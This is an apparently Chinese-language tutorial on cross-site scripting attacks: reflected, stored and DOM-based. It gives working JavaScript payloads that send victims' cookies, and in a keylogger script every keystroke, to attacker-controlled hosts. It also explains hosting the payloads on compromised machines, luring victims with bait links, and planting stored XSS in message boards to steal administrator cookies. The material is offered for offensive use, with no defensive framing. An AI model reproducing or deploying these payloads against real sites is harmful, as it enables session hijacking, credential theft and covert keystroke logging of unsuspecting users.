XSS:跨站脚本攻击。
XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。
发现跨站脚本漏洞最好的工具是burpsuite
xss和sql漏洞的本质:将客户端提交的数据没有过滤,将提交的数据当代码执行。
通过社会工程学让目标客户端人点击,目标客户端将js发送给漏洞服务器,漏洞服务器返回js,然后目标客户端浏览器执行返回的js。
黑客将恶意代码(一般是js语言)注入到漏洞服务器(假如是淘宝),当正常客户访问服务器(淘宝)时候,js将访问指向客户端。
1.先爬站,将每个便量名称爬出来
2.向每一个变量随便提交数据,若提交的内容bei服务器原封不动返回回来,则很有可能有漏洞
这个是弹出警告窗口,显示xss
type
创建一个超链接,点击就执行alert(‘xss’)
给一个图片的链接,当出现错误的时候弹出警告窗口
进行重定向。当执行代码的时候,页面会跳转到1.1.1.1服务器。也可以写网址
iframe是框架。效果同上
执行这个代码后,受害者会将他登陆目标服务器的cookie信息返回给 http://1.1.1.1/c.php? output=位置。下图就是收到的cookie数据
以h1号字体在受害者浏览器显示THIS WEBSITE IS UNDER ATTACK内容。
真实的恶意代码往往比较长,无法直接放在url里面。我们会放在一个肉机的网页目录下。比如下面的a.js
执行的时候,会去192.168.1.102出找恶意代码,恶意代码是将受害者连接目标服务器的cookie返回给192.168.1.102:88
• a.js
• var img = new Image();
• img.src = “http://192.168.1.1/cookies.php?cookie=”+document.cookie;
上图192.168.1.107是有漏洞的。当执行箭头的时候,会去192.168.1.102出找恶意代码,恶意代码是将192.168.1.107的cookie返回给192.168.1.102:88
代码:
Keylogger.js
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
利用xss漏洞触发键盘记录器代码,受害者(客户端)的键盘信息发送到192.168.20.8。 http://192.168.20.8/keylogger.php 是接受键盘信息的机器和php文件。
将代码放到肉机192.168.1.102。确认可以访问到代码文件。
Keylogger.php
将上面代码放到接收数据的服务器端。数据保存在keylog.txt。
注意:先手动在接收数据电脑创建keylog.txt并赋予777权限。且把文件放在网页根目录。
上面的IP写放病毒的肉鸡IP。受害者点击后就自动去执行肉鸡上的病毒,启动键盘记录器。
还是以上面的键盘记录器举例。
美女
1.我们在上面文字处写上诱惑的文字
2.把上面的链接放在一个html文件
3.把文件放在肉机网页根目录,做一个漂亮的网站。如下图
如图。当点击文字就执行了链接。
这个漏洞一般在网站的留言板。用于盗取网站管理员的cookie。
利用上面的盗取cookie代码
1.注入代码
2.a.js源码
var img = new Image();
img.src = “http://192.168.1.102:88/cookies.php?cookie=”+document.cookie;
能通过浏览器找到。
我们发现在注入代码的时候网站限制了我们的字符数。我们只有绕过客户端
①.用截断代理(buripsuit)
②.在本地heml代码修改长度限制(插件)。如下图
3.将注入代码放入留言板
每次我们访问这个页面都会触发这一段代码。把cookie提交给192.168.1.102:80
这个漏洞当管理员登陆留言板处理留言时候,可能获得管理员的cookie。
文档对象模型(Document Object Model,简称DOM)
DOM型其实属于反射型。
1.链接和代码
var img=document.createElement(“img”);定义了一个图片对象
img.src="http://192.168.1.120:88 是图片对象的来源。
2.将代码放到html,做成好看的网页。放上这个图片。
当执行这个代码:会将受害者机器的cookie发送反弹到192.168.1.102:88